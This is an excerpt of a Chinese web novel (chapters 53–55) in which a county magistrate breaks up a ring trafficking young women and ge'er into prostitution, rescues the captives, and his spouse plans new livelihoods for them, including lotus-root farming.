《穿成陪嫁下一秒》 第53章 色中饿鬼 “禀大人。”黄巡检指着那女子说道:“此女名唤箐娘,乃是荷娘邻居。两人同为暗娼,且都是黑哥手下,四天前她亲眼看见黑哥将荷娘带离。” 宋亭舟看向身穿粉衣的箐娘,“你与荷娘都是怎么被黑哥带到弄眉巷沦为暗娼的,他走后又为何只带了荷娘而没带你?” 他威严太过,吓得箐娘哆哆嗦嗦好一会儿才敢开口,“回大人话,奴家从前是镇上的寡妇,死了夫家后日子过不下去了才做起了皮肉生意。四年前遇上黑哥带荷娘来弄眉巷,稀里糊涂的就和他们搅在了一起。可能奴家本就是后来的,所以黑哥走了才只带了荷娘。”她几句话说得也不太明白,黑哥的来历更不清楚。 宋亭舟坐回椅子上,视线扫过另一个四五十岁的庄稼汉,“你是莲塘村的里长?”各村里长每年都要到县衙里汇报田税产量等杂事,其中莲塘村次次都是垫底的存在。 芦桥镇与其他镇子不同,芦桥镇的大部分村落都是河流小溪,土地极少,哪怕是开梯田也开不来多少。因此大部分村子都因为梯田和摊丁入亩受益的时候,芦桥镇的村子大部分还是老样子。 宋亭舟已经在着手解决这个问题了,铺路的第一站也是芦桥镇。因此和莲塘村里长接触过的次数较多,没想到黄巡检会将他带回县衙。 宋亭舟问完话,莲塘村里长竟然直接跪在了他面前,“大……大人,小人不知道。有个黑脸汉子,问村里有……有没有想跟着他去享福的。我……小人,有人就送了哥儿去。” 他说的乱七八糟,驴唇不对马嘴,整个人跪趴在地上哆嗦。显然是黄巡检路上和他说了什么,他知道了自己办了错事,犯了案子。 宋亭舟威严太盛,上任来不知道砍了几颗脑袋。莲塘村里长生怕自己也被砍,死亡的恐惧吓得他险些神志不清,话也说不明白。还是黄巡检在一旁对宋亭舟解释道:“大人,莲塘村里长曾和黑哥打过交代,以前甚至还促成过村子里几家卖儿卖女的,只因近些年您排查严苛,所以他才不敢这般行事了。” 变卖良人为奴毕竟是犯法的,要家人按手印,改户籍。可拐子就不用这么麻烦了,拉了人就走。 宋亭舟上任将童牙子端了后,黄妈妈一直小心行事,从不敢犯了禁忌。衙门的人不光在县城巡视,重大节日人多的时候,宋亭舟还会分派衙役和捕快巡视乡镇。再加上之前槿姑的案子,断案之严苛干脆,让有些小心思的人都不敢妄动。 赫山县的制度已经足够周密,但没想到还是被钻了空子。 黄巡检见宋亭舟冷着脸俯视地上还没起身的里长,态度恭敬的接着禀告:“四天前,黑哥带着荷娘在里长家借宿了一晚,走之后村子里便有村民家发现丢了孩子,共两个小哥儿和一个女娘,都是正当龄的。” “村民们无人前来报案?”赫山治下丢了三人,他这个做知县的却浑然不知,谁都能听出宋亭舟声音中压抑着的怒火。 “禀大人,我问了这四日在门口执勤的衙役,其中两人曾见过有人在府衙门前徘徊,但并未上前询问。过了一会儿,那对夫妻便离开了,此二人并未放在心上。”一旁的陶九将头压低,黄巡检负责带捕快外出巡视,县衙里的衙役归他管,这里面他也有失职。 哪怕陶九是他一手提拔上来的,宋亭舟也半点没留情面,“你先将莲塘村村长扣押入牢,再与那二人各罚三月俸禄,笞杖刑十板。” 陶九躬身领罚,“是大人。” 宋亭舟起身整理了一番官袍,沉声道:“张县丞和陶典史留下守着衙门,其余人,和我立即出发去沙坑县。” 从现在起,就不单单是丢了个黄叶这么简单了,竟然有人在赫山境内公然拐卖贩卖良人为娼! 众人心中一凛,“是!” 乔主簿夹在其中弱弱开口,“大人,我也要去吗?” 宋亭舟撂下眼皮睨了他一眼,“去。” 乔主簿欲哭无泪,救命,宋大人气势汹汹一副要和人打架的样子,他去能做什么?他只是个文职啊! - 一日后沙坑县——知县胡逖正与他新得的美妾玩欲拒还休的老把戏。 “小美人,你不必觉得委屈了自己,本官虽然现在只是个知县,但不日便可飞黄腾达。到时候你要什么没有,不比卖给那些乡下娶不上媳妇的老鳏夫强上百倍?”胡逖三十多岁的模样,眼尾堆了几条褶子,个子不高,身量不胖不瘦,整个人普普通通毫无亮点,最闪耀的可能便是他眼中的淫秽之光。 被他逼到墙角的姑娘,环抱住胸口跌坐在地上,哭得凄凄惨惨,“大人,求您放我回家吧,我并非妓子,而是良家女子被骗到此处,还望大人放我归家!” 胡逖自认是个怜香惜玉的人,被拒绝也没恼怒,只是叹了口气将人从地上拉起来,抚着姑娘略带薄茧的手有些扫兴,“你看看你,面若桃花手却粗糙,还有身上穿的这布料如此暗沉,怎么配得你如花般的年纪?” 他扬声吩咐门口装聋作哑的管家,“去胭脂铺子买上两盒最贵的脂粉,再到布庄拿几匹颜色鲜艳的织锦。” 他这手糖衣炮弹玩的纯熟,态度又温柔。姑娘瑟瑟发抖,但反应却是不如刚才激烈,只是不断摇头,用微弱的声音做着最后的抵抗,“我不要衣裳脂粉,我要回家,放我回家。” 胡逖得寸进尺的半揽住她,还待继续哄骗,门口突然冲出个衙役来。 “大……大人,赫山县知县带人来咱们县衙了,正在县衙门口等您。”衙役没见过这种大阵仗,飞奔而来,跑的上气不接下气。 “宋亭舟?他来作甚?耽误我好事!”胡逖没什么好气的说。 同是西梧府辖内知县,他显然不能避而不见,于是只能抛下刚得的美人,换上官袍去见宋亭舟。 还没等他步入县衙大门内,远远就看见二百多个赫山县衙役和七八十的捕快守在县衙门口,他家衙役畏畏缩缩一副没见过世面似的偷看这群人。 “干什么的聚在这里看什么呢?没活干了?都给我滚!”胡逖将自家衙役教训了一顿,然后对为首肩背笔挺有型,一身官威浓厚的宋亭舟阴阳怪气的说:“宋大人好大的威风,赫山县还不够你耍,跑到我沙坑县来有何贵干?” 宋亭舟神情冷淡,站在县衙门口眼看着四周暗暗聚集起来一批看热闹的百姓,“本官辖内丢失良家女子与小哥儿四名,种种线索都指向沙坑县锡矿村之人,所以前来问问胡大人可有定夺。” “你县城丢人,到我们沙坑县拿人?”胡逖不是个心思多深沉的人,猛一听到宋亭舟提起什么丢失良人,当即脸上便五彩纷呈。 他身边跟过来的师爷倒是个猴精,悄声提醒胡逖道:“大人,宋大人远道而来,不然邀他进您私人宅里一叙。” 私人两个字他咬得极重,胡逖瞬间心领神会,“虽然不知道宋大人所说具体为何,但衙门口总归不是说话的地方,还请宋大人到本官家中一叙。” “本官来沙坑县是为了办案,县衙可进,胡大人家中就不便叨扰了。”宋亭舟站在胡逖面前身高傲人,他本不是张扬的性子,奈何与胡逖一对比哪儿方面都强出他一大截来。 年龄比他年轻、个子比他高大、身材健硕修长、容貌竟然还那么俊朗!胡逖仰视他怎么看怎么不舒服,不光脖子,还有心理。 “哼,宋大人既然要进县衙,那就随本官进来吧。”胡逖说完迅速远离宋亭舟,迈着腿便往县衙里走。 宋亭舟带着人进衙,赫山县的衙役都被他压榨惯了,各个身板挺直,从衙门门口一路排到一堂,瞧着气势惊人,沙坑县的衙役连站都不知道往哪儿站。 “来人,给宋大人搬把椅子过来。”胡逖坐在明镜高悬的牌匾之下,懒洋洋的对身边小吏吩咐。 “不必了,我来沙坑县只是想来捉拿疑犯,找到本县百姓,还望胡大人配合。”宋亭舟语气冷淡,就这么长身玉立的站在堂下一样卓尔不凡,嫉妒得胡逖牙根泛酸。 胡逖居高临下的看着他,说话刻薄,“不知宋大人要我如何配合,凭你一句话,难不成让我将锡矿村的人全部都抓起来审问。” 宋亭舟语出惊人,“有何不可?” 胡逖见他面上无一丝笑意,眼神冷峻如深冬寒潭,不免打了个哆嗦难以置信的问:“你说真的?” 过了会儿他觉得自己没有气势,又拍着桌子补了一句,“简直可笑之极,我不同意!” 宋亭舟早就料到他不会同意,“听说沙坑县的锡矿山上经常有妙龄女子哥儿失踪,胡大人可曾彻查过?” “女子小哥儿本就体弱,受不得苦累,并无失踪一说,都是被累死的。”胡逖随口说着漏洞百出的话,像是根本不怕宋亭舟去查矿上的事。 宋亭舟冷眼观察了一番他有恃无恐的姿态,和糊里糊涂的说辞,大致知道他底细深浅,也没再和他废话。 “本官因为沙坑县不是我辖内管治范畴,所以特来与胡大人知会一声,但胡大人既然无意管束,本官便只能自行处理了。” 胡逖被他一副强硬说辞唬住,“自行处理?宋大人这是何意?” 宋亭舟把手向身后一伸,乔主簿立即将包袱里的文书放到他手上。 宋亭舟接过文书扔到胡逖面前的桌案上,“这是本官上任前在兵部领的调令文书,胡知县可认得?” 胡逖眼皮一跳,“你……你不用吓我,兵部派给你那两千士兵早就被借调到钦州去了!” 宋亭舟黑沉沉的眸子带着严厉的审视扫向胡逖,声音低沉而有震慑力,“胡大人也知道这两千士兵只是临时借调,不日便要返回,本官只是不愿多等罢了。赫山百姓被你辖内罪犯拐走,胡大人既无能勘察,本官接手此案顺理成章,你就是告到大殿上也是我这般道理!” “宋亭舟,你,你敢!”胡逖见他当真说完就走,半点和他私下商量的意思也没有,不免站出来跳脚。 “来人,给我拦住……”胡逖话没说完,一支手指粗细的木棍便从县衙门口射进来,直直穿透了他头上的乌纱帽,将其钉在明镜高悬的牌匾下方。 胡逖吓得腿肚子发软,“谁!是谁!” 县衙一片寂静,只有宋亭舟一众人整齐的脚步声,和任劳任命又偷摸取回文书,又迈步跟上的乔主簿。 葛全从县衙墙上轻松跃下,“宋大人,我已经听晚哥儿说过这些日子发生的事情里,若有用得着我的地方,尽管交代。”他是受孟晚所托马不停蹄赶过来的,方锦容被他留在宋家倒也放心。 宋亭舟心中一动,有葛全在,很多事就更好办了,“倒真有事要劳烦葛大哥一趟。” 沙坑县本来就穷,衙役的那点俸禄也让胡逖省出来养女人,剩下这点根本不够赫山县这群天天锻炼的衙役们看。 宋亭舟轻易便将守在锡矿山的衙役带走,换成黄巡检等人留下看守,山中的锡矿村全村人更是一个不留全部带去了赫山县。 胡逖无力阻拦本就憋了一肚子火,回到家中听见管家汇报的消息更是如遭雷击。 “什么!你说我的娇妾美侍都不见了?” 管家脸上都是胡逖喷出来的口水,他擦也不敢擦上一下,只是哭丧着脸说:“不见了,连新得的那个,刚才还在屋里哭,我一转眼的功夫就没了。” 胡逖险些晕厥过去,“一个……一个都没了?”这可比要了他的命还让他难受啊! 管家突然想起什么,激动的说:“大人,还有,还有一个!” 胡逖宛如抓住了救命稻草一般揪着他的衣领晃荡,“还有哪个在?是兰娘还是莺哥儿?” 管家艰难开口,“大人……是夫人,夫人还在家中。” 胡逖闻言崩溃不已,不顾形象的坐在地上哭嚎,“是哪个该死的,怎么不把我夫人也给抓了去啊!” 第54章 押回 赫山县54 ——西梧府德庆县。 “崇哥,三荆他们还没有音讯,不会出了什么事吧?”皮肤黝黑的汉子从马车上跳下来,顺手牵着马绳拴在茶棚旁边的大树上。 陈崇蹲在一旁,气质凶悍,面带刀疤,吓得开茶棚的夫妻俩大气都不敢出一下,默默添茶倒水,按他们吩咐的准备简易饭食。 “有胡逖在,他们能出什么事?”陈崇不耐烦的应付黑哥的话,他一个被发配至岭南的流犯,言语间对胡逖竟也没有多敬畏。 黑哥同样如此,他招呼剩下的兄弟们轮流休息,剩下的人继续看着他们六辆马车,“胡逖那个色鬼,临了还硬要了个女娘过去,早晚死在温柔乡。” 陈崇起身坐到茶棚里,抬臂抿了一口茶水,动作行云流水,不看他粗狂的外表,竟然还有一股子风流潇洒的贵公子模样。他自嘲一笑,“这种破地方的知县,以前我家老头子发迹的时候给我提鞋都不配,现在我竟也沦落到与这种人为伍了。” 黑哥脸上也划过一丝落寞,“也不知道咱们这种日子什么时候才能到头。” 陈崇仰头将茶杯中的茶水一饮而尽,眼神中有几丝狠厉,“跟这些人为谋,早晚就是下一个我爹。” 黑哥隐约知道他的想法,心中略有顾虑,好半晌没出声。 “黑哥,你带来那一批人,有个闹着寻死觅活。”守在马车那儿的人喊了黑哥一声。 黑哥心里正烦,低骂了两句走到最后一辆马车旁边,“闹什么闹!现在不老实待着,到了江门府有你们好受。” 他不说还好,一说马车上的哭声更大了,“放我回家,我不去江门府,你们敢抓我,我爹我哥肯定要搞死你克!” 黑哥暴躁的挠了挠头,说真的,他都有点后悔抓了这小哥儿来,太他妈能吵了,从赫山县到现在德庆县,其他人早就认命老实了,就他这车人不安宁。 他猛地一掀帘子,“再叫我现在就把你卖了信不信!” 马车里面坐着四个小哥儿三个女娘,黄叶赫然和另外两个小哥儿缩在一起,独留一个脸颊微肿的哥儿扯着嗓子大嚷。他之前显然已经挨过巴掌,但就是不服,也算是独一份了。 黑哥没有打小哥儿的习惯,威胁恐吓了一番这小哥儿也不往耳朵里进,干脆气得眼不见心不烦,和崇哥一块吃饭去了。 见黑哥走远,黄叶扯了扯还在嚎哭的小哥儿,小声劝道:“糖哥儿你别哭了,嗓子都哑了,他们是不会放了我们的。” 糖哥儿个子高,身形也比其他小哥儿粗壮,但脸上五官还算清秀,不然也不会被拐,他哑着嗓子说:“你懂咩啊!难不成我不知道他们不会放了我们?就是要闹,闹得他们不得安宁,好让他们就地把我卖了算了。这里离家近些我爹和哥哥肯定会来找我,真要是跟他们去了江门府,才真的回不来了。” 黄叶还真是没搞懂他的脑回路,忽而觉得他说的有几分道理,忽而又觉得哪里有点不对。 “别天真了,这群人有的是法子治你,现在只是急着赶路才没空搭理你罢了。”角落里独自坐着的荷娘突然开口说道。 糖哥儿不管,“那总也不能干等着被卖吧?我刚订了亲,他家姐姐还是我们县城糖坊里的女工,我还没嫁人呢就被这群公龟给卖了,呜呜……”他说完悲从心来又开始哭,也不知道哪儿来的这么多泪水。 黄叶听到糖坊心中动,眼眶也红了起来,他还没来得及报答夫郎和宋大人的恩情,小少爷也才两岁,他娘就要服完劳役了,日子刚刚好转,怎么就他这么倒霉。 情绪是最容易传播的无形力量,一个微笑能点亮整片空间,一声哭泣也会让周遭的人全都被笼罩在阴霾之下。 他们二人哭泣,其余人也不免偷偷抹泪。 荷娘麻木的看着这一切,这些也是她曾经经历过的,她那时也想有人会从天而降救他于水火,可惜……太迟了。 陈崇和黑哥带人在茶棚并没休息多久,轮流吃了顿热乎饭菜,填满了水囊里的水,让马儿歇了歇脚,加在一起也没用上半个时辰。 一行车马重新上路,只要在行三天,便能出了西梧府的管辖范畴。可他们刚走出茶棚不远,后方突然追上来一队人马。 “前面的马车停下,你们是做什么的?” 黑子跟的马车押尾,他暗骂一声,下马对后方来者毫不客气的说,“你们又是做什么的?凭什么拦着我们。” 对方只有十几人,他们这边却足足三十来个壮年汉子,谁怕谁还说不定呢! 来人连马多没下,从怀里掏出张纸来对着黑子仔细比对了一番,对后面同伙说道:“陶八,你回去找大人,就说找到疑犯了,就在茶棚东南方向。” “我这就去。”陶八调转马头便策马离去。 黑子这才发觉不对,“你们是衙门的人?” 他迅速冲着车队高喊:“走!都散开,衙门来人了!” 可惜他们反应再快已是无济于事,宋亭舟他们就在不远处排查,得到消息很快便将贩卖人口的车队包围住。 马车的被拐的女娘小哥儿尚且不知是怎么回事,黄叶却已经听到了熟悉的声音。 “叶哥儿?你在哪辆马车里?” 黄叶掀开车窗上的帘子,眼含热泪,“雪生哥!我在这儿!” 雪生听到他的声音骑马过来,“你可还好?这群人有没有为难你?” 黄叶幅度极大的点头,眼泪珠子也随之掉落,“我都好雪生哥,自从被抓到就一直在路上,并没有受什么皮肉之苦。夫郎和老夫人都好吗?小少爷呢?” 雪生见他这样已是不忍,但自己又不擅长安慰人,便递给他个干净的水囊,又从怀里掏出用油纸裹着的马蹄糕给他,“家里都好,夫郎和老夫人都惦记着你,安心坐着,我们这就回赫山县了。” “好!”黄叶满心欢喜,落泪的眼睛里都闪着希望的光。 “叶哥儿,那是你哥哥啊?我们是不是得救了?”车厢里其他人都听见了黄叶和雪生的对话,等雪生走后都语含期冀的问他。 黄叶抹抹眼泪,将油纸包打开,把里面的马蹄糕分给大家共食,“是我哥哥,我是宋大人家中仆人,前面穿着蓝衫的就是我家大人,我们真的得救了!” 糖哥儿闻言扒在窗口望过去,“是宋大人!我们赫山县的宋大人,他真的来救我了,呜呜呜……宋大人比我爹娘哥哥还可靠……呜呜呜。”糖哥儿喜极而泣。 荷娘坐的位置也能看见前面一行人的身影,她心中忐忑不安,竟并不见得有几分喜色。 而挟持她们的陈崇还妄图做最后的挣扎,望着马背上一身便服的宋亭舟,“不知是西梧府的哪一位大人。” 历经十来日的奔波,宋亭舟连个好觉都没睡上,此时并没有和他攀谈的闲心,淡淡的说了一句,“过几日你自会知道我是谁,黄巡检,将人都捆绑结实带回县衙。” “是,大人!”黄巡检与衙役们将这群流犯捆绑起来,奇怪的是他们并无反抗,让跟他们一路过来的葛全都没了用武之地。 葛全骑马与宋亭舟并行,“领头那个陈崇身上是带些功夫的,应该是个二流高手,比雪生身手还胜一筹,我还以为他会挣扎一番。” 宋亭舟倒像是早有预料,“他不妄动说明心有城府,不是鲁莽之人。”也更能说明里面牵扯之人不普通,让陈崇如胡逖一样有恃无恐。 十一月初,他们踏入赫山县境内两天后,官路便渐渐从用土夯实的路段变成平整的水泥路,将剩余两天的路程缩短到了一天半。 陈崇黑哥之流尽数收押入牢,被他们拐卖的女娘小哥儿有的已经成为娼妓好些年,有的像黄叶糖哥儿一样刚刚被骗。 糖哥儿这样家人疼爱的孩子当即就被家里大人领回家去,可这样的人家并不多,更多的是图黑哥他们给钱给的多,将孩子卖给他们的。钱拿到手,孩子若是领了免不了被知县大人责罚,干脆不认了。 黑哥他们不拐小孩,都是十五六的少男少女,又怎会不知道家中是什么样的光景?他们清楚的知道自己是被家人所抛弃的。 因为愧疚,和各种未知的原因,他们没人要了。 “你们父母那是非法买卖,你们户籍还是在家里的,若是不甘心想回家,我就叫人送你们回去。”孟晚本来是接一个黄叶的,没想到接回来这么一大群,少说有三十来个。 他说完人群中有些躁动,但很快就平息了下来。 回去后,家也不再是家了。 “夫郎,我能不能像叶哥儿一样留在宋家为奴?”有个和黄叶同车的女娘怯生生的说。 她一张口,在场都是附和声。她们处于这个年纪太尴尬了,有家回不得,将自己嫁出去也找不到什么好人家,短时间内吃住都成问题,心中迷茫之下干脆羡慕起黄叶来。 孟晚扶额,“你们现在还不知道为奴的代价……这样吧,让我想想,你们先暂住到我家和隔壁的苗家,之后会给你们安排去处。” 他总得先将人安抚下来,再慢慢思索,总归手里有人好办事,不行就再建两个场子。 孟晚思量着糖坊就算了,他只是起个领头的作用,并不想再和当地百姓抢占市场,那样和地主之流也没什么区别。他好歹是当地父母官的夫郎,这点思想觉悟还是有的。 最好就是如糖坊一般既能自己挣点银钱,又能对百姓有益。 “叶哥儿,你刚回来快歇会儿,左右家里也没什么活计。”常金花的声音从院子里传来。 孟晚收拾好心思穿过圆拱门回后院,见黄叶勤快的干这干那,常金花在旁边劝他,“折腾这么些日子你也不嫌累,回你屋去或是睡会或是吃些东西。” 孟晚笑着说:“怎么,这是见家里人多了,有危机感了?” 黄叶红着脸,“夫郎我不是……” 孟晚拦住他肩膀,将他往耳房里带,“我当然知道你不是,老夫人不是说了吗?家里没有要紧活计,今天做还是明天做都是一样的。你先好好歇上两天,之后好有精神带阿砚玩耍。” 黄叶整个人其实处于一种疲惫和激动之间的状态,身体疲劳不堪,可精神异常亢奋,他没想过自己真的会被救回来,总觉得还在马车里做梦,必须要证明现在是真实的才能安心。 这是一种不正常的心理状态,在家调理几日回归平静就好了。 常金花隔着窗户见里面黄叶睡得不太安稳的样子,“这孩子是遭了罪了,那群人贩子真是该死。以前大郎小时候三泉村也出过人贩子,将将要把孩子抱走的时候被村里人瞧见了。” 孟晚就爱听她说些以前的事,闻言便问道:“后来如何了?” 常金花离远了耳房说:“抓住被村里人打死了,咱们村没有像大郎这样的好官,我在村里大半辈子也没见过知县长啥样,偷了死了都没人管。” 孟晚把在一旁和雪狼玩的阿砚强制抱在怀里,一手搂着孩子,一手抱着狼头,认真的和雪狼说:“小狼啊,往后阿砚就靠你保护了,一定要看好他知道吗?” 狼头被挤得变形,在他胳膊下小声嗷呜。 阿砚也学着他没好调的狼叫。 宋亭舟从前衙回来见到的就是这一幕,他净手换衣后抱起儿子训导,“阿砚是人,而非兽,怎可习兽嚎?” 阿砚小小年纪已经能看出诡辩,“阿砚没嗷~~是狼狼叫。” 宋亭舟板着脸打了几下阿砚屁股,小孩抽抽搭搭的哭了,哭的时候还拿眼睛偷瞄常金花和孟晚。 常金花果然面露心疼,张了张嘴欲要说些什么,孟晚突然一把拉住了她,“娘,我又想琢磨新吃食了,黄叶睡着呢,你帮我去打下手吧。” “啊?什么吃食,一会儿不行吗?阿砚还哭呢!哎呦,大郎你轻些的……” 第55章 玉藕脆甜 宋亭舟回到赫山县的第二日就提审了陈崇等人,未免他们相互之间串联口供,还是一一审问的。可这群人里下面几个就像三荆一样说不出什么有用的信息,上头两个大哥陈崇和黑哥又嘴硬的狠,半点有用的信息都不肯透露,这是料定了会有人来过来捞他们了。 果然,宋亭舟首次公审定了几人罪名后,他上奏的折子便被扣下了。宋亭舟与孟晚心知肚明,孟晚在家中忿忿不平道:“岭南这种穷地方都有这么多破事。” 宋亭舟拿着手上新鲜热乎的请柬轻叹,“刘知府亲自下的帖子,看来对方来头不小。” 孟晚不免担忧,“背后的人会不会就是刘知府?” 宋亭舟送书桌后起身,拉着他回卧房,“多半不是,刘知府做为我顶头上司,若真是他的话,大可不必如此麻烦。” 孟晚将外罩的裘衣脱下挂到衣挂上,“这样说来的话,十之八九是身份没有知府高,但又和他有牵连的?” 宋亭舟将人揽到床上,“我大抵有了人选,就看去府城赴约后,刘知府是个什么说法。” 孟晚轻抚他线条冷硬的脸颊,“刚好葛大哥在家,让他陪你去府城走一趟,免得着了别人的道。”按理说刘知府做为一府之长,背后又无根基,应当是不敢糊涂行事,可万事还是小心为上。 宋亭舟捉住他的手指放在唇边啃咬了一下,泛起丝丝疼痛。 “做什么?”孟晚不解。 宋亭舟将脸埋在他颈间,闷声闷气的说:“你与方锦容是朋友,该随他叫葛全弟夫。” 孟晚:“???” 这是什么昏话,他又不是不认识葛全,叫弟夫才感觉怪怪的好吧。 “嘶,轻点。”他走神的功夫,白嫩的脖颈上又被轻咬了一口。 好吧,这是吃醋了? 孟晚只觉得好笑,这不纯纯没醋硬吃嘛,还是哄哄吧。 “舟郎?”他把手要挂不挂的搭在宋亭舟身上,抬起身子亲了亲他唇角,音调甜蜜又黏腻,“去把灯先熄了吧。” 宋亭舟今天格外叛逆,将孟晚抱在怀里又往上带了带,唇重重的碾了上去,强势的勾着孟晚回应他,直吻得两人呼吸都变得粗重,才稍稍退开,声音暗哑果断,“不熄。” 孟晚无奈的纵容着他,油灯中的火光无风自动,忽明忽暗,忽快忽慢,直至深夜才渐渐燃尽。 第二天一早孟晚恍恍惚惚中察觉身边热源褪去,闭着眼睛嘱咐道:“记得叫上葛……弟夫,把小辞也带去见见世面。” 温热的唇贴在他额头上,宋亭舟温柔的声音在他耳边响起,“知道了,你好好睡一觉,几日后我便回来。” 他走后孟晚就睡不沉了,迷迷糊糊又躺了会儿才起床洗漱,院子里雪狼在陪阿砚玩耍,方锦容也抱着通儿一旁散步,见孟晚出来,羡慕的对他说:“通儿什么时候才能跑能跳啊!” 十月初的时候阿砚过完两岁生日,月底就是通儿的周岁,在宋家小办了一场。通儿如今也一岁了,可双腿就是挨不得地,阿砚这么大的时候早就会自己拿着饭碗去厨房门口等常金花,通儿却还是要走哪儿都靠抱。 “我看通儿就是见你们太少了,故意使坏让你多抱抱他。”孟晚调侃道。 岂料方锦容当真了,他举起儿子仔细看对方可爱的眉毛眼睛,硬生生在通儿纯洁如白纸的双瞳里看出了一丝根本不存在的狡诈。 “葛成通,你是不是会走故意逗我玩呢?” 于是常金花出来后就见孟晚和方锦容在轮流架着通儿走路,小小的孩子眼中是一抹委屈的水光。 “你们俩这是做什么!”常金花冲过来把通儿抱在怀里,这孩子她比方锦容夫夫俩看着的时间还要长,算是她带起来的。 “晚哥儿,你也跟着容哥儿胡闹。”常金花先说破自家人。 孟晚尴尬一笑,“娘,我们俩就是试试看通儿会不会走了,那个我还有事去县衙一趟,晌午就不回来吃饭了,你们不用等我。” 他说完就溜,生怕逃了常金花的责骂再被阿砚牵绊住。 早上没吃饭肚里空空,孟晚打算先到后街上买了两个红豆馅的糍粑垫垫肚子。卖糍粑的老人也是认得孟晚的,讨好的说要免费送给孟晚吃,孟晚当没听见,扔了几个铜板到竹篮里就走了。 路过后院韦家的时候又听见院里闹哄哄的,不知道在闹些什么。之前他家办了场喜事,珍娘为了堵住韦家长辈的嘴,硬着头皮给她夫君纳了一房妾室,但日子好像更热闹了起来。 孟晚摇摇头,女子小哥儿地位低微,许多事都身不由己,上位者考虑民生,忧心百姓,却仍会将弱势群体当作附庸,这不是一朝一夕就能改变的,孟晚也自己尽自己的绵薄之力更改一点现状罢了。 他心里刚这般想,另一头韦家大门就被认出来一个包袱和一个男人。 男人?这不是珍娘夫君吗,他怎么被赶出家门了? 只见一个穿着桃红色衣衫的女子插着腰对被赶出来的男人破口大骂,“我老乸同你讲,进你韦家的门顿顿水煮白菜,脸都快吃绿了。你个废物,好手好脚躺在家里发霉,和街上的癞皮狗有什么区别?你给我滚出去要饭,挣不到钱不许返屋!” 男人抱着包袱脸色铁青,但家里两个管事的女人,他娘一心护着桃红衣衫女子,生怕她气到肚子里的孩子,另一个珍娘居然同样在安慰那女子。 “妹妹,你别生气了,想吃肉晚上我去买些回来就是了,你如今有孕在身,别气坏了身子。” 女子袖子一挥,“姐姐不用劝我了,打我怀孕后,家里都紧巴着供我一个人吃喝,我都看在眼里。等这个没用的男人走了,少了一人的口粮,你和莹娘还能多吃上一口肉。” “看什么看!还不快去赚钱去!”上一秒她还温声细语的和珍娘说话,下一秒就骂的门外男子一阵瑟缩,偏偏全家上下没人敢惹她,也是神了。 孟晚看的一阵发笑,妙哉妙哉,女子哥儿地位低下不假,可总有人如他这般幸运会闯出来自己一片天地,而不是无可奈何的受人制衡。 他心情愉悦的将两个糍粑都吃了,等到了县衙发现女牢里关着的六个女娘和哥儿后,高昂的情绪又不免衰退几分。 陶九带孟晚进来,“夫郎,她们就是陈崇和陈云墨这些年从锡矿山带离的苦役,有的至今还没服完刑,但户籍上已经是死人了,无处可去,无处生存,便只能依附陈崇成为娼妓。” 孟晚看着她们麻木的缩在墙角,问陶九,“里面是不是有个叫沈清荷的?” 荷娘轻幅度扭过了头。 孟晚心头一动,目光盯着那个十八九岁的女子,对陶九说道:“好了,我知道是谁了,你先到外面等我。对了,我娘许久不见碧云总是惦记,晚上你们俩回宋家吃饭吧。” “那我一会儿下了衙就去接他过来。”陶九说完便按照孟晚的吩咐去外面等他。 “沈清荷?”孟晚轻声唤荷娘。 荷娘没动地方,只是幽幽的回了句,“已经有很多年没人叫过我名字了。” 孟晚左右看看,搬了个木头墩子坐在牢门前和她说话,“我之前听说过你。” 荷娘自嘲一笑,“我一个卖弄皮肉的婊子,有什么好说的?” “可婊子这两个字是男人定义的,你自己为什么要这样形容自己呢?”孟晚语气平静,声音却掷地有声,能让牢房里所有女子和小哥儿都能听见。 “获罪的是你父亲,你并无过错。” “被人从锡矿山骗走,是陈云墨等人不择手段,你是受害者。” “沦为娼妓更是受人逼迫,不得已为之。” 孟晚惋惜道:“荷娘,你可怜,你无辜,你唯一称得上错的地方,也是因为被人骗的太惨,导致不敢轻信别人,从而错过了向卢溯求救的机会。” 荷娘浑身颤抖着说不出话来,倒是一旁有人被孟晚的话触动,替荷娘辩了一句,“我们并不是不想向旁人求救,只是怕了。耳鬓厮磨之时,那些男人什么没许过?第二天一醒都换了个模样。” 又有人说:“婉娘的弟弟还在他们手里不知下落,我们这群人都有亲人被他们拿捏,没有亲人的早就被他们发卖了。” 孟晚唇角绷的笔直,眉心拧出一个浅浅的川字,“你们可知亲人的下落?” 荷娘痛苦的摇了摇头,“我娘和嫂嫂们都在半路染病殁了,只有我和八岁的弟弟活了下来,我不知道他在哪儿,黑哥用他们吊着我们的一口气。” 孟晚从木凳上站起来,郑重的说:“我会尽力帮诸位找到亲人,但……”他眼神突然变得锐利,“你们当中可有人助纣为虐替他们骗人的?” 场面安静了一瞬,一个面色冷清的哥儿哑声道:“夫郎把我们当成什么人了?我们好歹也是官宦子弟,从小是受过家里主母教导的,纵使身不由己没了清白身子,也断做不出和那些畜生一样的行径来。” 孟晚问道:“敢问哥儿姓名?” 面冷哥儿答道:“临安府,唐妗霜。” 孟晚对他躬了躬身,以示歉意,“你们都是习过礼仪教法的人,我并没有折辱各位的意思,只是自甘堕落之辈,我是不想去救的。” 唐妗霜脸色稍缓,“夫郎是有大作为的人,罪奴不敢受夫郎一礼。” “还要辛苦诸位在牢里在待上一段时日,等我夫君回来,往后的事定会给大家安排个章程出来。”孟晚知道他们还是在防备他,倒也能理解,若是他被逼到这个份上只会更加多疑。这群人能识文断字,又心性坚韧,等他捋出来个头绪来,定可一用。 孟晚从牢房出来后便心事重重,和常金花打了个招呼便直直扎进了书房里。从墨盒里挑了条墨锭,拿来细细的研着墨汁。 想了小会儿才抬臂用毛笔斟酌着写到:“芦云镇,甘蔗种植已经熟练,开始逐步向周围其他镇子扩散。芦山镇,初步种植甘蔗,收效明显,同样宜种植。芦桥镇、芦溪镇两镇河流众多,开荒无地……” 他拿着笔杆子来回想,河多适合做什么? 孟晚脑子里毕竟掺杂着现代思想,想了一会儿都是些不着边际,难以实现的目标。他干脆起身去找宋亭舟记录的手册,他记得对方之前说过等年底铺完了路,就要开始整顿芦桥、芦溪两镇,他来找找看,没准里面就有现成的法子。 找到宋亭舟的手册掀开,入目眼帘的先是一手刚劲有力的楷书,看着就极具艺术性。孟晚默默欣赏了一会儿才开始往下翻找。 “有了!” “芦溪镇,溪水多分为小股,细而连绵,汇聚成河,经久而不衰断。浅薄之处甚多,可引进江南水稻试种。” “芦桥镇,以河为主,村村皆是水路,辅以木桥,水泥难通。需得修建码头渡口,以船通行。村中以荷塘为主,夏季粉荷摇曳,碧叶连天。蛙鼓声声,玉藕脆甜……” 孟晚瞳孔放大,“玉藕脆甜,玉藕脆甜!” “对啊,种藕田!” 